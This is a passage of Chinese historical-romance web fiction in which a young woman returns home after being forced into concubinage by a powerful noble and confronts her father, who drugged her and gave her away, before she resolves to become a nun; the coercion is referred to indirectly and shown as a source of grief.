“沈俞佳,你还有脸哭?”沈俞静严厉道,“比不过人,又无君子之风,你读的书去哪里了?”
沈俞佳听完越发哭得大声起来。
连六皇子沈俞风都不免觉得脸上有些挂不住,“佳儿,你别哭了,再哭的话,我就只能让人送你回宫!”
“呜呜……你是我哥哥啊!为什么不帮我?太子哥哥也不帮我!我、我的手,也好痛啊!”
“十一,你方才确实是很失礼,就算输了比试,也不该去抓叶小姐的手。”
十公主忍不住开口劝解。
众人面面相觑,只装作若无其事,默默回到位置上吃茶听戏。
叶含珍没想到堂堂十一公主会是这个德行,难怪柳贵妃会拉着自己,说她养了两个皮猴。
这、这哪是什么皮猴?明明就是混世魔王。
不过这十公主倒还好,没有像沈俞佳那般蛮不讲理。
而就在叶含珍胡思乱想时,十公主却趋步朝她走来。
“你!去给十一道歉,说你以后再也不在她面前玩投壶了!”
闻景上前一步,将叶含珍护在身后。
“还十公主请离开!此事本就是十一公主无礼在先,叶小姐并无不妥之处,十公主这样无礼至极的要求,不仅叶小姐不会答应,臣也不会听之任之!”
“若是两位公主觉得臣这些话,冒犯了两位公主,那就请公主尽管去御前诉苦,臣自当去向皇上请罪。”
闻景愠怒的声音在耳畔响起,不仅沈俞佳低泣的声音彻底止住了,连闻景面前原本趾高气昂的十公主都有些愣住。
十公主从来没见过闻景这副维护人的冷峻神情,不由后退两步,质问道:“景表哥,你为何如此维护她?”
“她不过就是个小官之女,就算不让她在俞佳面前玩投壶又怎么样?”
34. 回家
反正,就凭她的身份,以后也到不了她们面前。眼下,不过是哄俞佳而已。
“没什么意思,只是觉得你们闹过头了,吵人的很!”
此话一出,叶含珍就见沈俞佳擦了擦眼泪,一脸委屈得望向闻景那边。
不由觉得荒诞无稽。
原来先前几人的轮流劝解,也不及闻景的一句“好吵”。
叶含珍看着闻景宽阔的背后,将她挡的严严实实,不免想起曾露儿说过的话。
她说京里的贵女们,有不少都怵闻景。
只是在她看来,这十一公主应该对闻景是又爱又怕吧。不过十公主方才说出的话,却更出乎她的意料。
好好的投壶比试被沈俞佳这么一通闹腾,舜华郡主也没了心情。
“今日的宴席就到此为止,各位可自行去寻家人继续游玩庄子,也可回府歇息。”
她这话一出,许多贵女也不好久留,纷纷带着丫头起身向她和太子告辞。
不一会儿,就连舜华郡主也带着人离开了。
偌大的厅里,只剩下四五个人。
叶含珍见下人们殷切得抬着两盆梅花,摆在她面前。果然,那盆洒金梅风姿绰约,比起飘飘如仙的绿萼梅来,也不逞多让。
叶含珍:“闻世子喜欢那一盆?”
闻景:“你先选。”
沈俞静见闻景这副神情,不免对二人的关系有所猜测。
临州,叶孝义,美人。
一个个字在脑海里串联起来,逼得沈俞静不得不相信,她就是那位被闻景带回京城的美人。
沈俞静一时间不敢相信自己的猜测,手不自主往腰间那枚荷包抚去,只是心情不再如先前明亮。
闻叶二人相互谦让半天,最后还是闻菲指着那盆绿萼梅,朝叶含珍道:“姐姐要这一盆吧。”
洒金梅虽然不错,但比起绿萼梅来,始终是差了一截。
“闻菲,你什么身份?怎么能唤她为姐姐?”
沈俞佳早在她向自己行礼时,就猜到眼前的女子,就是闻景从临州带回来的女人,更加气恼道,“你姐姐是郑国府的三小姐,不是这个在临州爬上——”
“住口!”
闻景厉声打断她未说完的话,只朝上座的沈俞静拱手道:“请太子殿下恕罪,我受人之托,得送叶小姐回府,不能久陪诸位。还望殿下准许我们先行一步!”
“你先送她回去吧。”今日不是说话的好时候。
“谢太子殿下!”
闻景得了沈俞静的准许,见叶含珍行完礼起身,便领着人出门而去。
两人就这么沉默得往庄子外的方向走去。
直到叶含珍扶着白枝进了马车,闻景才后知后觉,这一路行来,她一个字也未曾对他说过。
大半个时辰后,闻景骑在马背上,望着叶含珍头也不回的背影,进了叶府的侧门。
那两盆梅花也被叶府的下人小心翼翼地抬进府门。
不知从何开始下起的雪,渐渐模糊她的身影,在听到侧门关上的响动时,闻景才驾着马离开。
叶含珍跨在进门槛的这一刻时,才知飞鸟挣脱枷锁的滋味。
她终于回家了。
而在候在门房的婆子,早在她入门时,就热情得扶着她的手,一路带着人往正院方向行去。
还未到垂花门,叶含珍就一个急急奔来的人影抱住。
“珍珍!珍珍!”
叶夫人盼了不知多少个日子,才终于在此刻,见到了自己日思夜寐的女儿。
她颤着手,死死抱着叶含珍的肩膀,哭得撕心裂肺,“我的珍珍回来了,我的珍珍回来了啊!老天爷,你可算是睁开眼睛了!我的珍珍!”
叶含珍早在看清来人,便立即滚下了泪,此刻又听着娘亲一声声的呼唤,一声声的悲泣,往日间里受过的屈辱,在瞬间全部化成呜咽。
母女抱头痛哭的模样,令人闻之心酸。
好在叶劲此时也冒着大雪赶到,他见两人哭得难舍难分,不免红着眼眶劝解起来。
叶劲:“阿娘莫要再哭了!珍珍既然已经回来了,阿娘就应该高兴些,这样也能让珍珍高兴些。外间寒冷,不如咱们进屋再好好说说话?”
叶夫人哭了半晌才堪堪止住哭声,她从叶含珍肩上抬起头,望了一眼儿子发红的眼圈,才抹着眼泪道:“劲儿说得对,都是阿娘不好,引得珍珍也哭了!阿娘不哭,不哭了,珍珍也快随阿娘回屋子里去,咱们娘俩慢慢说!”
说完,便从肩上搂着捂着脸痛哭不止的叶含珍,往正房走。
待到坐在了火烧得正旺的炕上,叶含珍才睁开被泪水淹没的羽睫,望向犹低头揩泪的叶夫人。
距离她被闻景……也不过才半年时间,娘亲原本黑鸦一般的鬓角已经添了银丝。
是她,都是她不好。
是她害得娘亲担心,才生了这许多华发。
叶夫人虽擦着眼泪,却也不停地打量着眼前的女儿。
她瘦了。
她是她一手养大的孩子,她是瘦了还是胖了,她这个做娘的,只需看一眼便清楚。
原本眉眼间的娇俏天真,也添了些说不上来的妩媚清丽。
还是叶劲见母女二人都静悄悄得打量着对方,又无只言片语,只好打破屋子里只时不时的一两声抽泣,开口道:“怎么不说话?难不成是不认识了?”
叶含珍被叶劲这句话又引得垂头哭起来。
叶夫人心疼叶含珍,将她搂在怀里,摸了摸她黑亮细软如锦缎般的乌发,含着哭音道:“别胡说!你妹妹回来了,你这个做哥哥的,不许欺负她!”
“阿娘只是欢喜得厉害,一时间不知该说些什么而已。对了,你父亲什么回来?”
叶含珍垂泪靠在叶夫人的怀里打着嗝,在听到“父亲”两个字时,后背的肌肉蓦然紧绷起来,连嗝都停了一拍。
叶劲见叶含珍神色有变,只低声道:“父亲说今日是上任的第一天,不好告假,待他晚间下了衙就回来。”
叶孝义在军粮案里洗清了冤屈,又正值朝廷缺人之时,已经从四品下的刺史之位,升迁为工部的侍郎。
爹爹升官了?
叶含珍将湿润的帕子捏在手里,艰难启齿道:“原来爹爹也升迁了,不知是何官职?”
“工部侍郎。”
“工部侍郎?”叶含珍蓦然轻笑一声,“爹爹本就最擅长主持修渠水利之事,能去工部任职,也算全了他毕生的心愿。”
“那爹爹高兴吗?”
叶劲双拳紧握道:“高兴。”
叶含
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珍听闻叶劲的回答,如释重负般吁了口气,颤声道:“爹爹高兴就好。”
这样,也不枉她在闻景手里吃那么多苦。
只是喉间却悄悄泛起涩意,逼得她才收住眼泪的双眼,又开始发起酸。
她哑着嗓音道:“阿娘,女儿今日参加宴会累了,可否先回房歇息片刻?”
叶夫人如何不知女儿遭遇的一切,她本想着待叶孝义回了府,让父女两好好说说话,解开心结,却不曾想如今两人都避而不见。
她和叶劲夹在他们父女之间,只比他们更难受。
“好!阿娘早就让人收拾好了院子,这就带你过去歇息。”叶夫人强颜欢笑得拍了拍叶含珍的手背。
“不用了阿娘,让雪青和青莲领路就行,外间又开始下雪了,您方才就在雪地里等了我许久,不能再受寒了。”
叶含珍拒绝了叶夫人,她不想让阿娘看见闻景在床笫上,给她留下的痕迹。
那样,她真的会疯的。
有些事,心里知道是一回事。看见,便又是另一回事。
只要看不见,她就还可以自欺欺人得苟活下去。
“雪青,青莲,你们伺候好小姐。今日小姐累了,让厨房送些热水与小姐解乏,待用过膳食后,再伺候小姐歇下。”
叶夫人事无巨细交代着,早几日就回了叶府的雪青和青莲。
“是,夫人。”两个丫头齐齐福身道。
叶含珍一步三回头得出了正院。
而叶夫人则和叶劲,在叶含珍带着丫头离开后,只望着府中下人方才抬进来的两盆名贵梅花,陷入了沉寂。
“劲儿,你说你那日去寻闻世子时,舜华郡主也在?”
“不错。”
屋里燃得正旺的熏笼,将眼前嶙峋傲骨的梅花香气,散得满屋角落里都是。
一时间,暖香浮动,沁人心脾。
只是再名贵的花,经过了这一路的奔波,也显得有些无精打采。
叶夫人垂眸半天,才叹息道:“珍珍以后该怎么办?”
温家那边已经重新有了婚约,何况就算眼下没有婚约,他们叶府也在不能和温府缔结亲事。
叶劲知道叶夫人的担忧,带着悔恨闭上了眼,随即睁眼坚定道:“阿娘放心!我是珍珍的哥哥,我在一日,她就会有人照顾一日。哪怕就是珍珍这辈子不嫁人,我也不会再送她去那虎狼之地!”
叶夫人闻言却摇头:“得想个万全之策才行。”
不然,就凭那人的权势,他们是护不住珍珍的。
这厢母子两在正院里忧心忡忡,而叶含珍则已经在丫头们的伺候下,将自己沉在浴桶里。
热水从四面八方将她包裹住,四肢百骸在热意的烘托下,变得舒展起来。
今日的梅花宴就已经叫她够身心俱疲了,再加上方才与亲人抱头痛哭,她已经不想再动弹一下。
又是替曾露儿搬救兵,又是不停地行礼下跪,还被那几位公主冷嘲热讽,简直累得人恨不得立即闭上眼,好好睡一觉。
叶含珍鞠了一捧热水,朝自己疲惫的脸上泼去。
呼——
浴房里热气缭绕,叶含珍放软了身体靠在浴桶边缘,望着水面腾起的水雾出着神。
“小姐的手臂怎么有血印?”
35. 父女再见
耳畔传来雪青的惊呼声,叶含珍才迟缓着转过头朝自己右臂望去,只见原本只散漫着暧昧红痕的雪臂上,赫然有几个形似月牙的指甲印。
怪不得方才入水时,这里就有些刺痛呢。
“无事,过几日就好了。”
叶含珍满不在乎道。
这算什么?
不过就是些皮肉之苦,比起她这些日子受得折辱,算不得什么。
雪青同青莲,是自小就伺候在叶含珍身边的丫头。如今见往日身娇气怕痛的小姐,只不过去了一次京里的宴席,便受了这种阴私的伤,心疼得直掉眼泪。
这日子,究竟有没有个头啊?
叶含珍看着水面上溅起的水花,苦笑道:“好了,别哭了!这些只是小伤罢了,过几日就好了。你要是再哭,眼泪兑冷了我的洗澡水,我恐怕又要生病了。”
雪青见主子还有心情出言逗弄自己,抬起袖擦了擦眼泪,气鼓鼓道:“小姐身体好着呢,才不会生病的!待会洗完澡,奴婢给小姐上点药,免得留下疤。”
“好好好,都听我们雪青姐姐的!我们雪青姐姐最厉害了,这个院子里的人,都得听雪青姐姐的安排!谁敢不听,我就替雪青姐姐打她屁股!如何?”
雪青被叶含珍装模作样的话逗得破涕而笑,“小姐就是最不听话的人,那怎么办?”
叶含珍闻言转过身,趴在浴桶边。
“请雪青姐姐责罚。”
雪青“扑哧”一笑,彻底收起泪花,拿着帕子在她背上擦拭起来。
叶含珍则舒服叹了口气,眯上了眼睛。
一连三五日过去了,眼见明日就是除夕之夜,叶含珍也未见到父亲叶孝义。
不只是有意还是无意,叶孝义每日早早就出了府,直到打更人出门时,才踏着寒气回到正院。叶含珍见娘亲每日总是一副欲言又止的为难样子,便除了晨昏定省,不再离开自己的院子。
眼下虽是百花凋残的岁寒之时,但只要推开自己院子暖阁的窗户,便能远远望见一片生机盎然之意。
只因这窗户正对着一片竹林,虽有白絮相覆,但那抹绿却越发清翠醒目。更不提原本稀稀落落的柿子树上,还挂着鸟雀未啄完的火晶,倒也有些古朴活泼之趣。
叶含珍回来的第二日,就让人将那两盆从席上赢回来的梅花,给扔了出去。
她不想再和那人有什么牵连。
如今他们桥归桥,路归路,留着这些东西,只会让她想起那人在榻间饱含欲望的暗眸,让她夜不能安。
明日就是除夕,想来就是父亲再忙,也该一家人坐下来一起吃顿团年饭。
与其说是父亲不见她,倒不如说,她也不想见父亲。
只因她也不知道自己见了父亲,父女俩该说些什么。
他们再也回不到从前。
冬日的暖阳映在厚厚的积雪上,亮澄澄的光照得叶含珍的眼睛酸疼不已,只好拿起帕子按在眼角,很快,就那锦帕就湿了一角。
时间总是一滴一滴从漏壶里溜走,让人根本抓不住,也摸不透。
除夕一早,府里的下人便穿着新衣,领着赏赐,扬着笑脸得朝主子们磕头拜年。
晚间天色渐暗时,附近各家里便传出陆陆续续点起爆竹的声响来,劈里啪啦的,热闹极了。
“阿娘,这是我这几日给您做的您最喜欢的白兰锦帕,又用您喜欢的熏香烘过,您瞧瞧可还好?”
叶夫人见女儿眉眼间不似才回府那几日的沉郁,又见她此刻正满脸欣然,双手捧着月华锦帕献上,笑得合不拢嘴。
“喜欢,阿娘很喜欢!”
叶夫人慈爱得细细摩挲着手里的锦帕,只见上面不仅绣清雅至极的白兰花,鼻间也传来若有若无的白兰香气。
叶含珍见娘亲欢喜的模样,忍不住翘起嘴角。她从青莲手里的托盘里拿出一枚朱色葫芦形的香囊,朝一旁望穿秋水的叶劲道:“这是送给哥哥的宝葫芦锦囊,希望哥哥前途似锦,福气滚滚。”
她嘴上说着吉祥话,一双眼眸亮亮的,宛若漆黑的冬夜中,闪耀的寒星。
叶劲接过她双手递来的荷包,往怀中一揣,拱手含笑道:“多谢妹妹。”
“那哥哥要送我什么好东西?”
“原来是你想着这个,”叶劲抬手轻轻敲了敲她额间,“小坏蛋,就想着用个香囊来来打发哥哥?”
“阿娘,你看哥哥!”
叶含珍撒着娇,挽住叶夫人的胳膊,撅嘴道:“我都给哥哥准备了礼物,哥哥却说我是打发他,我不依,我不依!”
叶夫人见女儿撒娇的模样,含笑朝叶劲道:“你不是准备一整套的—”
“阿娘!”
叶劲见自己的惊喜就要被母亲泄露,急急打断道:“您不能这么偏心!”
“阿娘,哥哥到底给我准备了什么?”
叶夫人被一双儿女吵得头疼,好似他们还在临州时那样,扶额道:“快将东西给你妹妹,没见你妹妹要哭了吗?”
“对啊哥哥,快点给我看看吧。”叶含珍满眼哀求的神色,“再不给我,我就哭给你看。”
一听叶含珍说要哭,叶劲就急急慌慌地让小厮将自己给她准备的礼物,端来上来。
“……掀开瞧瞧。”
叶含珍见叶劲一脸得意的模样,虽还不清楚托盘上的盖布下是何物,但此刻她才有种真实回到家的感觉。
柔嫩细白的指尖将缀满流苏的盖布掀开,映入她眼帘的是一整套竹雕而成的十二生肖,各显灵动模样姿态。
精妙得就连眼珠和须发都一清二楚。
“喜欢吗?”
“喜欢。”
叶含珍被眼里蓄起的热意,模糊了视线,她哽咽道:“真好看。”
其中最可爱的生肖雕像,当属那只无角的小羊。
她将那小羊拿在手中仔细端详,才发现在那竹羊的耳后,刻着一个小小的“珍”字。
“谢谢哥哥,珍珍很喜欢哥哥的礼物。”
叶含珍属羊,且这只竹羊没有角,耳后又刻着她的名字,叶劲这礼物送得用心极了。
叶劲摆手得意道:“这算什么?待哥哥空暇时,在给妹妹寻一套更好的来,届时你好好给我做双鞋就行。”
“嗯,我明日就开始给哥哥做鞋,等到鞋做好了,相信哥哥的礼物也就准备好了。”
叶夫人手里端着的茶水还未喝完,便见兄妹二人已经和好
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如初。
她转头朝身后的婆子道:“时间差不多了,派人去看看老爷回府了没?若是回来了,就让厨房将菜品酒水都送过来。”
“是,夫人。”婆子领命而去。
叶含珍原本还挂在笑意的脸,在听到叶夫人这话后,骤然凝滞住。她缓缓放下手里惟妙惟肖的小羊,将头靠在叶夫人肩上,若有所思得望着门口。
只听没一会,门帘就被丫头打起。
一阵沉重的步伐声越来越近。
叶孝义绕过寒梅孤傲的玻璃屏风,一眼就看到了依偎在妻子身侧的女儿。
而叶含珍,也早在他出现在屏风前,就看到了自己的父亲正目不转睛地瞧着自己。
房间里,此刻丝毫不见方才的欢声笑语,好像就连时刻都凝固住,叫人不得动弹半点。
“砰!”
好在院子里一声急促猛烈的爆竹声,在耳边炸起,才堪堪打破了沉寂的气氛。
“老爷,饭菜都摆好了,咱们一起去用饭吧。”
“哎,好。”
正房外间的下人们,嘻嘻笑笑的在院子里放爆竹。
只是比起外间传来的爆裂声,屋子却安静得有些冷清。只有偶尔一两声碗筷的碰撞声,彰示着这屋子里还有人。
叶含珍捧着碗,并不去夹菜,自顾低着头将一口一口饭送到口中咽下。
明明是香甜的饭食,今日却在咽下那一刻化作难以忍受的酸涩,熏得她模糊了视线,连饭粒子都看不清楚。
叶夫人见自己夫君一直闷头喝酒的模样,只好转头强颜欢笑着,给叶含珍面前的食碟里放了些菜肴。
“珍珍,这是你最喜欢吃的乳酿鱼,娘特意让厨房给你准备的,你尝尝。”
叶含珍听着娘亲的话,终归不忍心让她难受,便草草吃下那块鱼肉,连滋味都没尝出来,就哽咽道:“好吃“。
这顿除夕团圆饭,没有一个人吃得不难受。好在,有叶夫人不停地转圜,这顿饭也终于顺顺利利的用完了。
叶孝义放下手里的茶盏,踌躇许久,才看向垂头不语的叶含珍,沉声道:“珍珍回来了。”
叶含珍慌乱着神色抬眼望着眼前满是华发的父亲,嗫喏道:“是,珍珍回来了。”
随后,屋子里便再次陷入一片沉寂。
“都下去吧,这里不用你们伺候了。”
叶孝义紧缩着眉头,将一众伺候的下人全部挥退。此刻坐在屋子里的,只有他们四个主子。
“珍珍怪爹爹吗?”
叶孝义此话一出,叶含珍便再也控制不住涌上来的委屈,扑在叶夫人脚下,大声痛哭起来。
怪爹爹吗?
叶含珍从落入闻景之手后,到今日,父女俩是第一次见面。
怪他迷晕了自己,将自己送上闻景的榻上吗?
怪的!
怪他为了护住叶府上上下下而牺牲了自己?
叶含珍朦胧间看清叶夫人脚上绣的万字不断纹,一个“怪”字哽咽在喉间,根本开不了口。
她好似一只受伤的小兽,正紧紧依偎在阿娘膝下,不肯去看伤害她的至亲之人。
“是爹爹不好,犯下大错,才牵连了你。”
36. 太子的意思
叶含珍摇头。
没人愿意走到这一步。
闻景的权势,叶含珍在这段时间里也见识过,哪怕是宫里的皇子求闻景办事,闻景也能让人枯等一个多时辰才起身。
区区叶家,哪里斗得过他?
只是,她忘不了闻景留在她身上的屈辱,忘不了自己被困在深宅里做他人玩物的时日。
短短半年多的时间,却好似比十年还来得漫长。
叶夫人早叶含珍扑在脚下时,就俯身搂着叶含珍,哭得撕心裂肺。而叶劲则咬紧了牙根,双手紧紧捏着拳头,狠狠盯着父亲佝偻的神态。
“只是如今更不妙的事,是这几日宫里暗地里传出消息,说太子在舜华郡主的赏梅上,有了心仪的女子,正欲想皇上请旨赐婚呢!”
他抬手试图去擦女儿面上的泪痕,却被叶含珍侧头避开。叶孝义收失落得收回那只落空的手,只将视线移至屋里那盆开得正旺的水仙花盆上。
“太子请旨赐婚?”
叶劲有些惊疑道,“太子和六皇子,还有其他几个皇子也是到娶妃的时候了,这有何不妥?”
历朝历代,哪位储君不是早早大婚,开枝散叶?
也就是如今的皇帝不知怎么想的,太子和几位成年的皇子,居然都没有纳正妃。
“不妥?岂止是不妥,皇帝本就一直压着太子和几个皇子的婚事,就是怕儿子们娶的正妃们势力过大,难保不会有人依靠着外戚的势力,图不轨之事。”
“那这和珍珍有什么关系?”
叶劲实在不明白为何此刻父亲提起朝中之事。
叶孝义道:“只因我今日被太子召见,说他想娶的女子是珍珍,我才如此苦恼的。”
“什么?”叶劲惊呼一声。
连叶夫人也止住了哭声。
叶含珍错愕得仰起脸,不敢相信方才父亲说的话。
她?
她如何能嫁给太子?
纵使她没有被闻景……以她的身份,也够不上成为太子妃。更何况,她如今已经是残败之身,更不可能去做什么太子妃!
“珍珍,”叶孝义叹息一声,“等过完年,爹爹就送你去梨花巷,至于闻景那里,爹去求他,求他给你个名分。”
此话一出,不仅叶夫人捂着嘴纵声痛哭,就连叶劲都几欲崩溃,他梗着脖子朝叶孝义的方向喝到:“不行!珍珍不能再回那里!”
“孩儿好不容易才将妹妹带回家,怎么还能让她再去那个虎狼之地?就算珍珍不能……不能嫁给太子,那也不能再让闻景那个畜生玷污她!”
叶含珍自回府后,脑子里想了一万次父女相见时会说的话,可她哪里想得到她父亲竟然还要送她去闻景那里?
双手死死抓住阿娘的裙摆,一股一股寒意从脚底涌起,明明屋里烧了地垄的。
半晌后,她才压下喉间的腥气,呢喃出一句“为什么”。
为什么要将她迷晕送到闻景的榻上?
为什么她忍辱负重逃离那虎穴之后,他还要送她回去?
为什么?为什么啊?
想问的太多,一时不知该从何问起,只能怔怔望着眼前有些陌生的,那个被她唤作“爹爹”的男子。
她已经还清了闻景出手帮爹爹的恩情,闻景也放了她,为什么还要这样对她?
他还是她那个疼爱自己的爹爹吗?
他不是。
他早就不是那个会哄自己喝药,会将小小年纪的她,高高抛起,再稳稳接住的爹爹。
就算不能嫁给太子,那她也不愿意再回那困笼般的深宅。
她猛然想起在临州那夜自己吃下的酥酪,就是眼前这个被自己唤作“爹爹“的人,派人特意给自己送来的。
吃完酥酪之后的她,昏昏沉沉上了榻,再醒来时,闻景就已经在她身后,将她揽在怀中。
叶含珍用尽全身力气,才起身朝叶孝义的方向,踉跄着向前两步跪下。
“求爹爹送女儿走吧!”
叶含珍抖动着身躯,磕头哀求道,“从前的事,女儿不想知道也不愿意知道,我也明白如今爹爹和哥哥还要在朝为官,家中是不能有个有辱门楣的小姐。只求爹爹看在我是您和阿娘的亲生骨肉份上,送我离开京城。哪怕是让我剪了头发去庵庙,青灯古佛一生也行,只求不要再送女儿再回到那牢笼。”
“我给爹爹磕头!给爹爹磕头!”
“……珍珍!”
叶夫人哭着扑向拼命磕头的女儿,心疼得将她搂在怀中,不让她再伤害自己。
“老爷,你的心怎么这么狠?就算不能嫁给太子殿下,那也不能将珍珍送走。我是她娘,我这次就是死,也不会再让你送走她!”
“那你告诉我,若是宫里真的来了赐婚的圣旨,我们叶府怎么办?难不成,要我抗旨不成?”
皇帝也许正乐见太子娶个身份不高的太子妃,只是珍珍早就是闻景的人,如何能再嫁给太子为妃?
叶孝义深吸一口气,“若是抢在赐婚圣旨下来前,将珍珍送到梨花巷,坐实了她的身份,想来太子也不会再让皇上下旨。”
“这是唯一的办法。”
听着父亲的话,叶劲猛然起身道:“大不了我抢在圣旨下来前,求皇上收回成命,哪怕是死,我也不会再让珍珍去那虎狼之地。太子那边,要杀要剐,都随他便。父亲怕死,孩儿不怕。孩儿上次没能护住珍珍,是孩儿的终身之憾,这一次,我绝不让人伤她一丝一毫!”
“逆子,你住口,住口!”
叶孝义被叶劲的话讥讽得面红耳赤,赤目怒吼道:“父母之命,岂有你插手的地方?那闻景如今是皇帝眼前得势的红人,只要他在圣旨下来之前给珍珍一个名分,太子那边自然会知难而退。况且,闻景那边怎么可能袖手旁观,让珍珍嫁给太子?他若是抖落出珍珍早就是他的人,那咱们叶府所有人的性命也就到了头。”
“你是不怕得罪他,也不怕死,那你娘怎么办?我们叶府上上下下数百口的性命怎么办?你想过这些吗?你只凭着一时意气去惹他,你想过后果吗?到时候别说珍珍了,就连我们整个叶府都只怕都不会有什么好下场!”
叶孝义的嘶吼,敲打着在场三人的鼓膜,甚至犹如魔障般,钻进了叶含珍的
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四肢百骸,刺得她瑟缩着身子。
坐实名分,她要坐实什么名分?
只不过是他养在私宅,可以随时逗弄的鸟雀,而爹爹竟想将自己一辈子葬送在闻景手里。
这样,就不必将自己这残花败柳暴露在人前。
叶劲被叶孝义一番话问得哑口无言。
都是他太无用了。
叶含珍眨了眨酸痛的眼眸,好半晌才开口道:“太子殿下不是蛮横无礼之人,我可以去求他收回成命,只是闻景那边,是他答应放我走的,父亲在害怕什么?”
只要让太子断了求娶自己的念头,那她也不必再回那牢笼。
“我—”
“你还是那个将女儿视若珍宝的爹爹吗?”
叶含珍见叶劲与他争执的面红耳赤,只轻声问他:“您要保住叶家,不惜将女儿拱手送人,女儿心里,虽恨虽恼,可终究没有忘记女儿是叶家的小姐,要报答您和阿娘的生养抚育之恩。可是女儿也是人,也有心,也知“廉耻”二字怎么写,爹爹为何要逼女儿去死呢?”
她的话,轻飘飘得传进在在场几人的耳中,却远比方才外间的爆竹声,更加振聋发聩。
叶孝义先前佝偻的腰背,此时几乎要被叶含珍的质问,压得垂到地面。
“我的婚事被你们毁了,也知道如今的自己……不配嫁与储君为妃,”叶含珍咽下满嘴心酸,哽咽抽泣道,“可是如今那人明明有意放我一马,您又何必这样急迫得送我去那个牢笼呢?还是说,您觉得我已经不配在呆在这里,只会令家人蒙羞?”
是啊,她早就失了清白,怎么还能若无其事得做侍郎家的小姐?
其实,这几日叶含珍也过得煎熬非常。
是她盼着回家的不假,只是,这些时日听阿娘提起父兄如今在朝堂上的风光,她便更觉得自己是府上的污点。
“爹爹从来都没有觉得珍珍不配什么,是爹爹一时糊涂,才害你至此,你该恨爹爹的!”
叶孝义悲泣道,“只是事到如今,已经覆水难收。那闻景是个城府极深的人,爹始终觉着他并没有真的放过你,放过叶家,若是我们应下太子的意思,只怕满府的人就要死无葬身之地。”
原本该阖家欢笑的除夕夜,却听到“死无葬身之地”几字,不仅叶夫人只死死抱着叶含珍大哭,就连方才与叶孝义据理力争的叶劲,都彻底沉寂。
“若他食言,那我便彻底认命,被他囚着一辈子,在那座深宅大院里做他的禁脔,不会陷叶家于刀山火海之中。只求爹爹给女儿一个可以重新开始的机会,就是真的去做姑子,女儿也绝不后悔。”
叶含珍说完这话,倏然抬头望向有些佝偻着背脊的父亲,轻声道:“女儿只是不死心,求爹爹给女儿一条生路吧。若是真的如父亲所说,闻景并没有彻底放过我,那我也不会怪爹爹一句。”
叶孝义从来没有见过如此镇静理智的女儿。他也没有想到,自己娇身惯养,受了这么大屈辱的女孩儿,会说出“不怪他”这三个字。
她该怪他的。
是他毁了她一生。
可是,他没有法子。
37. 出家是她选的路
香炉的苏和香顺着银丝网罩,徐徐洒落在屋子的每一个角落。
蕊黄的花心,越发显得案上的水仙越发娇弱欲仙。
只是原本该其乐融融的除夕夜,却只能听见不停的啜泣声,彷佛外间呼啸的寒风再耳边呜咽着,不知何时才是个头。
叶孝义佝偻着背脊,闭眼叹息道:“你是我的女儿,爹爹如何会不疼你?只是此事已经不是爹爹可以挽回的,我知你恨爹爹害了你,可是,谁让咱们家惹上闻景那种人?不过,既然你说你想试一试,那我这个做爹的,也愿意陪你奋力去搏一把。”
“我已经在东宫婉拒了太子,太子殿下却让我转告你,二月初一那日,他想约你在保国寺一叙。我猜,他是想问问你的意思,珍珍,若你真的能让太子歇了娶你为妃的心思,那爹爹就是拼了命,也会悄悄派人送你走。”
“当真?”叶含珍闻言猛然止住眼泪,迟疑道。
看着女儿眼里冒出的异样神采,叶孝义沉重道:“怕就怕你劝走了太子,闻景那边也并不肯松手。若是闻景那边—”
“若是闻景那边食言,那女儿也绝不会连累叶家,一切后果皆由女儿承担!爹爹还是趁早安排好我离开的事吧,我相信太子殿下不会强人所难,待那日出了保国寺,女儿就走。”
“珍珍,你要去哪里?”
叶夫人满脸泪痕望着叶含珍,“一定要走得这么快吗?你一个人又能去哪?”
叶含珍此刻却只觉人生忽生出些期盼,她勉强笑着安慰叶夫人:“阿娘别哭,女儿能离开京城是值得庆贺的喜事,总比女儿留在京里,活得人不人,鬼不鬼的好。”
只要她一日在京城,就难免会再撞进闻景的手里。
更何况,至多年后,闻景的婚事就会定下来,那她就更要走得远远的。
若是等到郑国公府派人上门纳她为妾时,那就真的迟了。
“呜呜……我可怜的珍珍,阿娘、阿娘舍不得你离开!”
“妹妹,你当真要走吗?”
叶含珍含着热泪,释怀轻笑:“娘亲和哥哥最疼珍珍了,总不能忍心女儿就这么灰头土脸得过一辈子吧?我已经到议亲的年岁,就算这次太子能被我说服,放弃皇上请赐婚圣旨,但是若是有其他人来向爹娘提亲,该怎么办?总得有个合适的拒婚理由吧?”
爹爹和哥哥如今仕途正好,她身为工部侍郎家的小姐,又有个在大理寺任职的哥哥,无病无痛的却不议亲,不嫁人,定会受人指摘。
与其等到那个时候,不如她先离开京城。只要能离开京城,哪里不能落脚?
“那你想去哪里?你孤身一人在外,阿娘想你了怎么办?还有你哥哥和……”
叶夫人未尽之言让叶含珍心酸至极。
可是,只要一想到她曾经是闻景的侍妾这件事,会被人知晓,她就宁愿叶家以后再没有她这个人。
她得离开这里,不做拖累叶家名声的人,也算是她还爹娘生养之恩的一点绵薄之力。
叶含珍:“听说保国寺附近有座清心庵,等女儿那日劝完了太子殿下,即刻去那庵里落发出家。这样,我既可以暂时留在京郊,等娘亲进香时和娘亲相见,又可摆脱那人的纠缠,还有了不议亲的名堂,如何?”
她的话,字字玑玑在理,且再没有比这更好一劳永逸的法子。
只是叶夫人慈爱的眼神划过手下抚过的乌发,还是无法接受叶含珍的提议。
她还没过过什么好时光呢,老天爷怎么就对她这么狠?
叶孝义也像是被叶含珍的话震惊住。
彼时那个最爱朝自己撒娇的女儿,已经在那夜送至青鹤楼时,就被他亲手杀掉了。如今,跪在他脚边的是思虑甚周,果敢有某的叶含珍。
“你既然已经想好,那为父也不得不为你打算,”叶孝义道,“我会替你打点清心庵的姑子,让她替你落发。以后你便住在清心庵,等太子和闻景都大婚之后,为父再安排你回临州。届时,你是要继续出家,还是要还俗都可。”
临州是他任职多年的地方,且有一二亲族在那里安居,只要叶府继续平步青云下去,那他叶孝义的女儿,就不会有人敢怠慢。
“老爷,你怎么答应珍珍的胡话呢?”
“阿娘,妹妹说的没错。就算这次太子愿意当君子,不会为难妹妹和叶家,可是难保没有其他人不会向妹妹提亲,到时候,闻景那里怎么办?”
叶孝义语重心长道:“夫人,这出家也只是暂时的。就像珍珍说的,等过几年闻景娶了妻,我们再替珍珍寻个家世低些的子弟就好了,并不是只能一辈子做姑子。”
“是吗?”
叶夫人听着丈夫和儿子的劝解,不由期盼着看着叶含珍未干的眼睫,“珍珍,你告诉阿娘,这些只是你的权宜之计。”
叶含珍:“阿娘,你应该为女儿高兴。至少,女儿到现在,还想着该如何活下去。”
“不——不要!阿娘应了你,应了你,你别做傻事!”
